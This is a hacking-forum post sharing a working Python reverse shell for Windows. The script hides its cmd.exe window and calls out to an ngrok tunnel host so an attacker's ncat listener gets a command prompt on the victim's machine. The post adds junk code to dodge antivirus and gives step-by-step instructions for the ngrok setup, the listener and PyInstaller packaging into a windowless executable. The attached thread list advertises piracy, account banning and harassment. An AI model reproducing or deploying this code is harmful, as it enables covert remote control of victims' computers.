Super basic reverseshell (Not LAN)
by HALLOICHBINSOSA - Tuesday October 1, 2024 at 11:23 PM
#1
A few days ago, I was working on a basic reverse shell, but why basic? This way, antivirus programs won’t detect it as easily. It runs in the background, opens a command prompt on the attacker's machine, but it doesn’t have persistence. It's interesting for beginners in the hacking world who want to learn about malware. It also contains some junk code.
  1. Download ngrok to create a secure tunnel. Once you have ngrok downloaded, run this command:
    "ngrok tcp 65001",  After creating an account on ngrok and obtaining an authentication token, you need to run the following command to set your key in ngrok:
  2. ngrok authtoken YOUR_AUTH_TOKEN 
    .
    After that, ngrok will give you a port, and you'll need to put that port into your reverse shell code.
  3. Then, open another command prompt and run the following command:
    "ncat -lvnp 65001"
    This will make your machine listen for incoming requests from the victim's machine.
import os
import socket
import sys
import threading as trd
import subprocess as sb
def My_function():
    number = 1
    if number == 1:
        print("El número sí es igual yeyyyyyyyy")
    else:
        print("No lo es Sad")
def nofalteelrespo(s, p):
    print("Iniciando transferencia de socket a proceso...")
    while True:
        data = s.recv(1024)
        if not data:
            break
        print(f"Recibido desde socket: {data}")
        p.stdin.write(data.decode())
        p.stdin.flush()
    print("Finalizando transferencia de socket a proceso.")
def elunicoquemaltrata(s, p):
    print("Iniciando transferencia de proceso a socket...")
    while True:
        output = p.stdout.read(1)
        if not output:
            break  
        print(f"Enviando a socket: {output}")
        s.send(output.encode())  
    print("Finalizando transferencia de proceso a socket.")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
     s.connect(("0.tcp.sa.ngrok.io", 12839 )) #here replace the port that ngrok provided u 
     print("Conexión establecida.")
except Exception as e:
    print(f"Error al conectar: {e}")
    sys.exit(1)
startupinfo = sb.STARTUPINFO()
startupinfo.dwFlags |= sb.STARTF_USESHOWWINDOW
p = sb.Popen(["cmd.exe"], stdout=sb.PIPE, stderr=sb.STDOUT, stdin=sb.PIPE, shell=True, text=True, startupinfo=startupinfo, creationflags=sb.CREATE_NO_WINDOW)
trd.Thread(target=nofalteelrespo, args=(s, p), daemon=True).start()
trd.Thread(target=elunicoquemaltrata, args=(s, p), daemon=True).start()
try:
    p.wait()
except Exception as e:
    print(f"Error en el proceso: {e}")
finally:
    s.close()
    sys.exit(0)



4.Finally, you need to run the following commands to build an executable for your reverse shell:  pip install pyinstaller
and pyinstaller --noconsole --onefile your_script.py

  1. Install PyInstaller by running:
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Full Piracy Guide - Find anything and everything fair 285 18,266 36 minutes ago
Last Post: Ashok787
  How to make money with hacking ssrf 1,242 78,569 42 minutes ago
Last Post: 222231w
  Ways to f**k up someone's life / make their life a living hell? Piplup 2,311 116,754 43 minutes ago
Last Post: 222231w
  Forums and Telegrams channels Databases leak sites j4c1nt0 3,075 184,308 46 minutes ago
Last Post: zxACASD
  [TUTORIAL] how to ban Instagram Accounts Piplup 2,126 129,441 49 minutes ago
Last Post: zxACASD

Forum Jump:


 Users browsing this forum: 1 Guest(s)